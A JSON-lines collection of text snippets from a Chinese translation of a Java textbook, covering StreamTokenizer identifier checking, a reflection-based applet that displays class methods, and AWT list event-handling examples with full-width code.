    {"text": "但对下划线来说，它最初是被 ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ 当 作一个单独的字符对待的，但此时应把它留作标识符的一部分，因为它在 ｓｔａｔｉｃ ｆｉｎａｌ 值中以 ＴＴ＿ＥＯＦ 等等 形式使用。"},
    {"text": "所以通过调用 ｅｏｌｌｓＳｉｇｎｉｆｉｃａｎｔ（ｔｒｕｅ） ，换行符（ＥＯＬ）会被显示出来，而不是 被 ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ 吸收。"},
    {"text": "ｓｃａｎＬｉｓｔｉｎｇ（）剩余的部分将读入和检查记号，直至文件尾。 一旦 ｎｅｘｔＴｏｋｅｎ（）返回一个 ｆｉｎａｌ ｓｔａｔｉｃ 值— —ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ．ＴＴ＿ＥＯＦ ，就标志着已经抵达文件尾部。"},
    {"text": "如果单词是 ｃｌａｓｓ（类）或 ｉｎｔｅｒｆａｃｅ（接口），那么接着的记号就应当代表一个类或接口名字，并将其置入 ｃｌａｓｓｅｓ 和 ｃｌａｓｓＭａｐ。"},
    {"text": "其他 所有东西肯定是一个标识符（这是我们感兴趣的），或者是一个关键字（对此不感兴趣，但它们采用的肯定 是小写形式，所以不必兴师动众地检查它们）。"},
    {"text": "在 ｃｈｅｃｋＣｌａｓｓＮａｍｅｓ（）中，类名从 ｃｌａｓｓＭａｐ 提取出来（请记住， ｃｌａｓｓＭａｐ 只包含了这个目录内的名字，它们按文件名组织，所以文件名可能伴随错误的类名打印出来）。"},
    {"text": "此时会检查一种特殊情况：如果标识符的长度 等于 ３ 或者更长，而且所有字符都是大写的，则忽略此标识符，因为它可能是一个 ｓｔａｔｉｃ ｆｉｎａｌ 值，比如 ＴＴ＿ＥＯＦ。"},
    {"text": "程序列表剩下的部分由 ｍａｉｎ（）构成，它负责控制命令行参数，并判断我们是准备在标准 Ｊａｖａ 库的基础上构 建由一系列类名构成的“仓库”，还是想检查已写好的那些代码的正确性。"},
    {"text": "通过创建一个 Ｆｉｌｅ 对象 并测试是否存在，就可决定是否打开文件并在 ＣｌａｓｓＳｃａｎｎｅｒ 中装载 ｃｌａｓｓｅｓ 这个 Ｐｒｏｐｅｒｔｉｅｓ 列表（使用 ｌｏａｄ（））。"},
    {"text": "如果仅提供一个 命令行参数，就意味着自己想对类名和标识符名字进行一次检查。 但假如提供两个参数（第二个是＂－ａ＂）， 就表明自己想构成一个类名仓库。"},
    {"text": "在这种情况下，需要打开一个输出文件，并用 Ｐｒｏｐｅｒｔｉｅｓ．ｓａｖｅ（）方法将 列表写入一个文件，同时用一个字串提供文件头信息。"},
    {"text": "１ ７ ． ２ 方法查找工具 第 １１ 章介绍了 Ｊａｖａ １．１ 新的“反射”概念，并利用这个概念查询一个特定类的方法——要么是由所有方法 构成的一个完整列表，要么是这个列表的一个子集（名字与我们指定的关键字相符）。"},
    {"text": "所以，它实际是我们节 省编程时间的一个有效工具：因为大多数 Ｊａｖａ 方法的名字都规定得非常全面和详尽，所以能有效地找出那些 包含了一个特殊关键字的方法名。"},
    {"text": "在这儿，我们准备制作一个改进 的 ＧＵＩ 版本，能在我们键入字符的时候自动刷新输出，也允许我们在输出结果中进行剪切和粘贴操作： ／／： ＤｉｓｐｌａｙＭｅｔｈｏｄｓ．ｊａｖａ ／／ Ｄｉｓｐｌａｙ ｔｈｅ ｍｅｔｈｏｄｓ ｏｆ ａｎｙ ｃｌａｓｓ ｉｎｓｉｄｅ ／／ ａ ｗｉｎｄｏｗ． Ｄｙｎａｍｉｃａｌｌｙ ｎａｒｒｏｗｓ ｙｏｕｒ ｓｅａｒｃｈ． ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "６３９ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｌａｎｇ．ｒｅｆｌｅｃｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＤｉｓｐｌａｙＭｅｔｈｏｄｓ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ Ｃｌａｓｓ ｃｌ； Ｍｅｔｈｏｄ［］ ｍ； Ｃｏｎｓｔｒｕｃｔｏｒ［］ ｃｔｏｒ； Ｓｔｒｉｎｇ［］ ｎ ＝ ｎｅｗ Ｓｔｒｉｎｇ［０］； ＴｅｘｔＦｉｅｌｄ ｎａｍｅ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（４０）， ｓｅａｒｃｈＦｏｒ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（３０）； Ｃｈｅｃｋｂｏｘ ｓｔｒｉｐ ＝ ｎｅｗ Ｃｈｅｃｋｂｏｘ（＂Ｓｔｒｉｐ Ｑｕａｌｉｆｉｅｒｓ＂）； ＴｅｘｔＡｒｅａ ｒｅｓｕｌｔｓ ＝ ｎｅｗ ＴｅｘｔＡｒｅａ（４０， ６５）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｓｔｒｉｐ．ｓｅｔＳｔａｔｅ（ｔｒｕｅ）； ｎａｍｅ．ａｄｄＴｅｘｔＬｉｓｔｅｎｅｒ（ｎｅｗ ＮａｍｅＬ（））； ｓｅａｒｃｈＦｏｒ．ａｄｄＴｅｘｔＬｉｓｔｅｎｅｒ（ｎｅｗ ＳｅａｒｃｈＦｏｒＬ（））； ｓｔｒｉｐ．ａｄｄＩｔｅｍＬｉｓｔｅｎｅｒ（ｎｅｗ ＳｔｒｉｐＬ（））； Ｐａｎｅｌ ｔｏｐ ＝ ｎｅｗ Ｐａｎｅｌ（）， ｌｏｗｅｒ ＝ ｎｅｗ Ｐａｎｅｌ（）， ｐ ＝ ｎｅｗ Ｐａｎｅｌ（）； ｔｏｐ．ａｄｄ（ｎｅｗ Ｌａｂｅｌ（＂Ｑｕａｌｉｆｉｅｄ ｃｌａｓｓ ｎａｍｅ：＂））； ｔｏｐ．ａｄｄ（ｎａｍｅ）； ｌｏｗｅｒ．ａｄｄ（ ｎｅｗ Ｌａｂｅｌ（＂Ｓｔｒｉｎｇ ｔｏ ｓｅａｒｃｈ ｆｏｒ：＂））； ｌｏｗｅｒ．ａｄｄ（ｓｅａｒｃｈＦｏｒ）； ｌｏｗｅｒ．ａｄｄ（ｓｔｒｉｐ）； ｐ．ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＢｏｒｄｅｒＬａｙｏｕｔ（））； ｐ．ａｄｄ（ｔｏｐ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＮＯＲＴＨ）； ｐ．ａｄｄ（ｌｏｗｅｒ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＳＯＵＴＨ）； ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＢｏｒｄｅｒＬａｙｏｕｔ（））； ａｄｄ（ｐ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＮＯＲＴＨ）； ａｄｄ（ｒｅｓｕｌｔｓ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ｝ ｃｌａｓｓ ＮａｍｅＬ ｉｍｐｌｅｍｅｎｔｓ ＴｅｘｔＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｔｅｘｔＶａｌｕｅＣｈａｎｇｅｄ（ＴｅｘｔＥｖｅｎｔ ｅ） ｛ Ｓｔｒｉｎｇ ｎｍ ＝ ｎａｍｅ．ｇｅｔＴｅｘｔ（）．ｔｒｉｍ（）； ｉｆ（ｎｍ．ｌｅｎｇｔｈ（） ＝＝ ０） ｛ ｒｅｓｕｌｔｓ．ｓｅｔＴｅｘｔ（＂Ｎｏ ｍａｔｃｈ＂）； ｎ ＝ ｎｅｗ Ｓｔｒｉｎｇ［０］； ｒｅｔｕｒｎ； ｝ ｔｒｙ ｛ ｃｌ ＝ Ｃｌａｓｓ．ｆｏｒＮａｍｅ（ｎｍ）； ｝ ｃａｔｃｈ （ＣｌａｓｓＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ ｅｘ） ｛ ｒｅｓｕｌｔｓ．ｓｅｔＴｅｘｔ（＂Ｎｏ ｍａｔｃｈ＂）； ｒｅｔｕｒｎ； ｝ ６４０ ｍ ＝ ｃｌ．ｇｅｔＭｅｔｈｏｄｓ（）； ｃｔｏｒ ＝ ｃｌ．ｇｅｔＣｏｎｓｔｒｕｃｔｏｒｓ（）； ／／ Ｃｏｎｖｅｒｔ ｔｏ ａｎ ａｒｒａｙ ｏｆ Ｓｔｒｉｎｇｓ： ｎ ＝ ｎｅｗ Ｓｔｒｉｎｇ［ｍ．ｌｅｎｇｔｈ ＋ ｃｔｏｒ．ｌｅｎｇｔｈ］； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｍ．ｌｅｎｇｔｈ； ｉ＋＋） ｎ［ｉ］ ＝ ｍ［ｉ］．ｔｏＳｔｒｉｎｇ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｃｔｏｒ．ｌｅｎｇｔｈ； ｉ＋＋） ｎ［ｉ ＋ ｍ．ｌｅｎｇｔｈ］ ＝ ｃｔｏｒ［ｉ］．ｔｏＳｔｒｉｎｇ（）； ｒｅＤｉｓｐｌａｙ（）； ｝ ｝ ｖｏｉｄ ｒｅＤｉｓｐｌａｙ（） ｛ ／／ Ｃｒｅａｔｅ ｔｈｅ ｒｅｓｕｌｔ ｓｅｔ： Ｓｔｒｉｎｇ［］ ｒｓ ＝ ｎｅｗ Ｓｔｒｉｎｇ［ｎ．ｌｅｎｇｔｈ］； Ｓｔｒｉｎｇ ｆｉｎｄ ＝ ｓｅａｒｃｈＦｏｒ．ｇｅｔＴｅｘｔ（）； ｉｎｔ ｊ ＝ ０； ／／ Ｓｅｌｅｃｔ ｆｒｏｍ ｔｈｅ ｌｉｓｔ ｉｆ ｆｉｎｄ ｅｘｉｓｔｓ： ｆｏｒ （ｉｎｔ ｉ ＝ ０； ｉ ＜ ｎ．ｌｅｎｇｔｈ； ｉ＋＋） ｛ ｉｆ（ｆｉｎｄ ＝＝ ｎｕｌｌ） ｒｓ［ｊ＋＋］ ＝ ｎ［ｉ］； ｅｌｓｅ ｉｆ（ｎ［ｉ］．ｉｎｄｅｘＯｆ（ｆｉｎｄ） ！ ＝ －１） ｒｓ［ｊ＋＋］ ＝ ｎ［ｉ］； ｝ ｒｅｓｕｌｔｓ．ｓｅｔＴｅｘｔ（＂＂）； ｉｆ（ｓｔｒｉｐ．ｇｅｔＳｔａｔｅ（） ＝＝ ｔｒｕｅ） ｆｏｒ （ｉｎｔ ｉ ＝ ０； ｉ ＜ ｊ； ｉ＋＋） ｒｅｓｕｌｔｓ．ａｐｐｅｎｄ（ ＳｔｒｉｐＱｕａｌｉｆｉｅｒｓ．ｓｔｒｉｐ（ｒｓ［ｉ］） ＋ ＂＼ｎ＂）； ｅｌｓｅ ／／ Ｌｅａｖｅ ｑｕａｌｉｆｉｅｒｓ ｏｎ ｆｏｒ （ｉｎｔ ｉ ＝ ０； ｉ ＜ ｊ； ｉ＋＋） ｒｅｓｕｌｔｓ．ａｐｐｅｎｄ（ｒｓ［ｉ］ ＋ ＂＼ｎ＂）； ｝ ｃｌａｓｓ ＳｔｒｉｐＬ ｉｍｐｌｅｍｅｎｔｓ ＩｔｅｍＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｉｔｅｍＳｔａｔｅＣｈａｎｇｅｄ（ＩｔｅｍＥｖｅｎｔ ｅ） ｛ ｒｅＤｉｓｐｌａｙ（）； ｝ ｝ ｃｌａｓｓ ＳｅａｒｃｈＦｏｒＬ ｉｍｐｌｅｍｅｎｔｓ ＴｅｘｔＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｔｅｘｔＶａｌｕｅＣｈａｎｇｅｄ（ＴｅｘｔＥｖｅｎｔ ｅ） ｛ ｒｅＤｉｓｐｌａｙ（）； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＤｉｓｐｌａｙＭｅｔｈｏｄｓ ａｐｐｌｅｔ ＝ ｎｅｗ ＤｉｓｐｌａｙＭｅｔｈｏｄｓ（）；"},
    {"text": "Ｆｒａｍｅ ａＦｒａｍｅ ＝ ｎｅｗ Ｆｒａｍｅ（＂Ｄｉｓｐｌａｙ Ｍｅｔｈｏｄｓ＂）； ａＦｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ａＦｒａｍｅ．ａｄｄ（ａｐｐｌｅｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ６４１ ａＦｒａｍｅ．ｓｅｔＳｉｚｅ（５００，７５０）； ａｐｐｌｅｔ．ｉｎｉｔ（）； ａｐｐｌｅｔ．ｓｔａｒｔ（）； ａＦｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）； ｝ ｝ ｃｌａｓｓ ＳｔｒｉｐＱｕａｌｉｆｉｅｒｓ ｛ ｐｒｉｖａｔｅ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ ｓｔ； ｐｕｂｌｉｃ ＳｔｒｉｐＱｕａｌｉｆｉｅｒｓ（Ｓｔｒｉｎｇ ｑｕａｌｉｆｉｅｄ） ｛ ｓｔ ＝ ｎｅｗ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ（ ｎｅｗ ＳｔｒｉｎｇＲｅａｄｅｒ（ｑｕａｌｉｆｉｅｄ））； ｓｔ．ｏｒｄｉｎａｒｙＣｈａｒ（＇ ＇）； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｇｅｔＮｅｘｔ（） ｛ Ｓｔｒｉｎｇ ｓ ＝ ｎｕｌｌ； ｔｒｙ ｛ ｉｆ（ｓｔ．ｎｅｘｔＴｏｋｅｎ（） ！ ＝ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ．ＴＴ＿ＥＯＦ） ｛ ｓｗｉｔｃｈ（ｓｔ．ｔｔｙｐｅ） ｛ ｃａｓｅ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ．ＴＴ＿ＥＯＬ： ｓ ＝ ｎｕｌｌ； ｂｒｅａｋ； ｃａｓｅ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ．ＴＴ＿ＮＵＭＢＥＲ： ｓ ＝ Ｄｏｕｂｌｅ．ｔｏＳｔｒｉｎｇ（ｓｔ．ｎｖａｌ）； ｂｒｅａｋ； ｃａｓｅ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ．ＴＴ＿ＷＯＲＤ： ｓ ＝ ｎｅｗ Ｓｔｒｉｎｇ（ｓｔ．ｓｖａｌ）； ｂｒｅａｋ； ｄｅｆａｕｌｔ： ／／ ｓｉｎｇｌｅ ｃｈａｒａｃｔｅｒ ｉｎ ｔｔｙｐｅ ｓ ＝ Ｓｔｒｉｎｇ．ｖａｌｕｅＯｆ（（ｃｈａｒ）ｓｔ．ｔｔｙｐｅ）； ｝ ｝ ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｅ）； ｝ ｒｅｔｕｒｎ ｓ； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｓｔｒｉｎｇ ｓｔｒｉｐ（Ｓｔｒｉｎｇ ｑｕａｌｉｆｉｅｄ） ｛ ＳｔｒｉｐＱｕａｌｉｆｉｅｒｓ ｓｑ ＝ ｎｅｗ ＳｔｒｉｐＱｕａｌｉｆｉｅｒｓ（ｑｕａｌｉｆｉｅｄ）； Ｓｔｒｉｎｇ ｓ ＝ ＂＂， ｓｉ； ｗｈｉｌｅ（（ｓｉ ＝ ｓｑ．ｇｅｔＮｅｘｔ（）） ！ ＝ ｎｕｌｌ） ｛ ｉｎｔ ｌａｓｔＤｏｔ ＝ ｓｉ．ｌａｓｔＩｎｄｅｘＯｆ（＇．＇）； ｉｆ（ｌａｓｔＤｏｔ ！ ＝ －１） ｓｉ ＝ ｓｉ．ｓｕｂｓｔｒｉｎｇ（ｌａｓｔＤｏｔ ＋ １）； ｓ ＋＝ ｓｉ； ｝ ｒｅｔｕｒｎ ｓ；"},
    {"text": "ＧＵＩ 包含了一个名为 ｎａｍｅ 的“文本字段”（ＴｅｘｔＦｉｅｌｄ），或在其中输入想查找的类名； 还包含了另一个文 本字段，名为 ｓｅａｒｃｈＦｏｒ，可选择性地在其中输入一定的文字，希望在方法列表中查找那些文字。"},
    {"text": "但只要键入了一个 正确的名字（大小写也算在内），Ｃｌａｓｓ．ｆｏｒＮａｍｅ（）就会成功，而 ｇｅｔＭｅｔｈｏｄｓ（）和 ｇｅｔＣｏｎｓｔｒｕｃｔｏｒｓ（）会分别 返回由 Ｍｅｔｈｏｄ 和 Ｃｏｎｓｔｒｕｃｔｏｒ 对象构成的一个数组。"},
    {"text": "这些数组中的每个对象都会通过 ｔｏＳｔｒｉｎｇ（）转变成一 个字串（这样便产生了完整的方法或构建器签名），而且两个列表都会合并到 ｎ 中——一个独立的字串数 组。"},
    {"text": "但象这样使用 ＢｏｒｄｅｒＬａｙｏｕｔ 的好处是它允许用户改变窗口的大小，并特别能使 ＴｅｘｔＡｒｅａ （文本 区域）更大一些，这意味着我们可以改变大小，以便毋需滚动即可看到更长的名字。"},
    {"text": "１ ７ ． ３ 复杂性理论 下面要介绍的程序的前身是由 Ｌａｒｒｙ Ｏ＇Ｂｒｉｅｎ 原创的一些代码，并以由 Ｃｒａｉｇ Ｒｅｙｎｏｌｄｓ 于 １９８６ 年编制的 “Ｂｏｉｄｓ”程序为基础，当时是为了演示复杂性理论的一个特殊问题，名为“凸显”（Ｅｍｅｒｇｅｎｃｅ）。"},
    {"text": "index 这意味着如果我们拉下列表，然后增加更多的项目到列表中，这项目将在那，但这个下拉列表不再接受（我 们可以通过项目来滚动观察——注释④）。"},
    {"text": "／／： Ｌｉｓｔ１．ｊａｖａ ／／ Ｕｓｉｎｇ ｌｉｓｔｓ ｗｉｔｈ ａｃｔｉｏｎ（） ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ Ｌｉｓｔ１ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ Ｓｔｒｉｎｇ［］ ｆｌａｖｏｒｓ ＝ ｛ ＂Ｃｈｏｃｏｌａｔｅ＂， ＂Ｓｔｒａｗｂｅｒｒｙ＂， ＂Ｖａｎｉｌｌａ Ｆｕｄｇｅ Ｓｗｉｒｌ＂， ＂Ｍｉｎｔ Ｃｈｉｐ＂， ＂Ｍｏｃｈａ Ａｌｍｏｎｄ Ｆｕｄｇｅ＂， ＂Ｒｕｍ Ｒａｉｓｉｎ＂， ＂Ｐｒａｌｉｎｅ Ｃｒｅａｍ＂， ＂Ｍｕｄ Ｐｉｅ＂ ｝； ／／ Ｓｈｏｗ ６ ｉｔｅｍｓ， ａｌｌｏｗ ｍｕｌｔｉｐｌｅ ｓｅｌｅｃｔｉｏｎ： Ｌｉｓｔ ｌｓｔ ＝ ｎｅｗ Ｌｉｓｔ（６， ｔｒｕｅ）； ＴｅｘｔＡｒｅａ ｔ ＝ ｎｅｗ ＴｅｘｔＡｒｅａ（ｆｌａｖｏｒｓ．ｌｅｎｇｔｈ， ３０）； Ｂｕｔｔｏｎ ｂ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂ｔｅｓｔ＂）； ｉｎｔ ｃｏｕｎｔ ＝ ０； ３９０ ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｔ．ｓｅｔＥｄｉｔａｂｌｅ（ｆａｌｓｅ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ４； ｉ＋＋） ｌｓｔ．ａｄｄＩｔｅｍ（ｆｌａｖｏｒｓ［ｃｏｕｎｔ＋＋］）； ａｄｄ（ｔ）； ａｄｄ（ｌｓｔ）； ａｄｄ（ｂ）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｔｉｏｎ （Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ａｒｇ） ｛ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｌｓｔ）） ｛ ｔ．ｓｅｔＴｅｘｔ（＂＂）； Ｓｔｒｉｎｇ［］ ｉｔｅｍｓ ＝ ｌｓｔ．ｇｅｔＳｅｌｅｃｔｅｄＩｔｅｍｓ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｉｔｅｍｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｔ．ａｐｐｅｎｄＴｅｘｔ（ｉｔｅｍｓ［ｉ］ ＋ ＂＼ｎ＂）； ｝ ｅｌｓｅ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｂ）） ｛ ｉｆ（ｃｏｕｎｔ ＜ ｆｌａｖｏｒｓ．ｌｅｎｇｔｈ） ｌｓｔ．ａｄｄＩｔｅｍ（ｆｌａｖｏｒｓ［ｃｏｕｎｔ＋＋］， ０）； ｝ ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ａｃｔｉｏｎ（ｅｖｔ， ａｒｇ）； ｒｅｔｕｒｎ ｔｒｕｅ；"},
    {"text": "增加项目到列表框比到 选择框更加的合理，因为用户期望去滚动一个列表框（因为这个原因，它有内建的滚动条）但用户并不愿意 像在前面的例子里不得不去计算怎样才能滚动到要要的那个项目。"},
    {"text": "１ ３ ． １ １ ． １ ｈ ａ ｎ ｄ ｌ ｅ Ｅ ｖ ｅ ｎ ｔ （ ） 到目前为止，我们已使用了 ａｃｔｉｏｎ（），现有另一种方法 ｈａｎｄｌｅＥｖｅｎｔ（）可对每一事件进行尝试。"},
    {"text": "该对象的 ｈａｎｄｌｅＥｖｅｎｔ（） 方法是自动调用的，并 且是被 ｈａｎｄｌｅＥｖｅｎｔ（） 创建并传递到 ｈａｎｄｌｅＥｖｅｎｔ（）里。"},
    {"text": "默认的 ｈａｎｄｌｅＥｖｅｎｔ（）（ｈａｎｄｌｅＥｖｅｎｔ（）定义在组件 里，基础类的所有控件都在 ＡＷＴ 里）将像我们以前一样调用 ａｃｔｉｏｎ（）或其它同样的方法去指明鼠标的活动、 键盘活动或者指明移动的焦点。"},
    {"text": "这个解答是过载 ｈａｎｄｌｅＥｖｅｎｔ（），毕竟它是从程序片中得到的，因 此可以过载任何非确定的方法。 当我们为程序片过载 ｈａｎｄｌｅＥｖｅｎｔ（）时，我们会得到所有的事件在它们发送 出去之前，所以我们不能假设“这里有我的按钮可做的事件，所以我们可以假设按钮被按下了”从它被 ａｃｔｉｏｎ（）设为真值。"},
    {"text": "为了修改列表样本，使它会响应鼠标的单击，在 ａｃｔｉｏｎ（）中按钮测试将被过载，但代码会处理的列表将像下 面的例子被移进 ｈａｎｄｌｅＥｖｅｎｔ（）中去： ／／： Ｌｉｓｔ２．ｊａｖａ ／／ Ｕｓｉｎｇ ｌｉｓｔｓ ｗｉｔｈ ｈａｎｄｌｅＥｖｅｎｔ（） ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｌｉｓｔ２ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ３９１ Ｓｔｒｉｎｇ［］ ｆｌａｖｏｒｓ ＝ ｛ ＂Ｃｈｏｃｏｌａｔｅ＂， ＂Ｓｔｒａｗｂｅｒｒｙ＂， ＂Ｖａｎｉｌｌａ Ｆｕｄｇｅ Ｓｗｉｒｌ＂， ＂Ｍｉｎｔ Ｃｈｉｐ＂， ＂Ｍｏｃｈａ Ａｌｍｏｎｄ Ｆｕｄｇｅ＂， ＂Ｒｕｍ Ｒａｉｓｉｎ＂， ＂Ｐｒａｌｉｎｅ Ｃｒｅａｍ＂， ＂Ｍｕｄ Ｐｉｅ＂ ｝； ／／ Ｓｈｏｗ ６ ｉｔｅｍｓ， ａｌｌｏｗ ｍｕｌｔｉｐｌｅ ｓｅｌｅｃｔｉｏｎ： Ｌｉｓｔ ｌｓｔ ＝ ｎｅｗ Ｌｉｓｔ（６， ｔｒｕｅ）； ＴｅｘｔＡｒｅａ ｔ ＝ ｎｅｗ ＴｅｘｔＡｒｅａ（ｆｌａｖｏｒｓ．ｌｅｎｇｔｈ， ３０）； Ｂｕｔｔｏｎ ｂ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂ｔｅｓｔ＂）； ｉｎｔ ｃｏｕｎｔ ＝ ０； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｔ．ｓｅｔＥｄｉｔａｂｌｅ（ｆａｌｓｅ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ４； ｉ＋＋） ｌｓｔ．ａｄｄＩｔｅｍ（ｆｌａｖｏｒｓ［ｃｏｕｎｔ＋＋］）； ａｄｄ（ｔ）； ａｄｄ（ｌｓｔ）； ａｄｄ（ｂ）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｈａｎｄｌｅＥｖｅｎｔ（Ｅｖｅｎｔ ｅｖｔ） ｛ ｉｆ（ｅｖｔ．ｉｄ ＝＝ Ｅｖｅｎｔ．ＬＩＳＴ＿ＳＥＬＥＣＴ ｜｜ ｅｖｔ．ｉｄ ＝＝ Ｅｖｅｎｔ．ＬＩＳＴ＿ＤＥＳＥＬＥＣＴ） ｛ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｌｓｔ）） ｛ ｔ．ｓｅｔＴｅｘｔ（＂＂）； Ｓｔｒｉｎｇ［］ ｉｔｅｍｓ ＝ ｌｓｔ．ｇｅｔＳｅｌｅｃｔｅｄＩｔｅｍｓ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｉｔｅｍｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｔ．ａｐｐｅｎｄＴｅｘｔ（ｉｔｅｍｓ［ｉ］ ＋ ＂＼ｎ＂）； ｝ ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ｈａｎｄｌｅＥｖｅｎｔ（ｅｖｔ）； ｝ ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ｈａｎｄｌｅＥｖｅｎｔ（ｅｖｔ）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｔｉｏｎ（Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ａｒｇ） ｛ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｂ）） ｛ ｉｆ（ｃｏｕｎｔ ＜ ｆｌａｖｏｒｓ．ｌｅｎｇｔｈ） ｌｓｔ．ａｄｄＩｔｅｍ（ｆｌａｖｏｒｓ［ｃｏｕｎｔ＋＋］， ０）； ｝ ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ａｃｔｉｏｎ（ｅｖｔ， ａｒｇ）； ｒｅｔｕｒｎ ｔｒｕｅ；"},
    {"text": "注意 ｈａｎｄｌｅＥｖｅｎｔ（）的窗体与 ａｃｔｉｏｎ（）的相同：如果我们处理一个单独的事件，将返 回真值，但如果我们对其它的一些事件不感兴趣，通过 ｈａｎｄｌｅＥｖｅｎｔ（）我们必须返回 ｓｕｐｅｒ．ｈａｎｄｌｅＥｖｅｎｔ（） 值。"},
    {"text": "对 ａｃｔｉｏｎ（） 和 ｈａｎｄｌＥｖｅｎｔ（）而言，最重要的是跟着上面例子中的格式，并且当我们自己不处理事件时一 直返回基础类的方法版本信息。"},
    {"text": "我们可能会认为我们变得更加的精明，并且当一个鼠标单击被 ｅｖｔ．ｓｈｉｆｔｄｏｗｎ（）产生时如果 ｓｈｉｆｔ 键是按下的将执行我们自己的试验程序。"},
    {"text": "ＡＷＴ 的设计妨碍了我们－我们不 得不去了解哪个项目被鼠标点击时是否按下了 ｓｈｉｆｔ 键，所以我们能取消其余部分所有的选择并且只选择那 一个。"},
    {"text": "另外，布局管理器使我们的程序片或应用程序适合窗口的大小，所以，如果窗口的尺寸改变（例如， 在 ＨＴＭＬ 页面的程序片指定的规格），组件的大小，形状和位置都会改变。"},
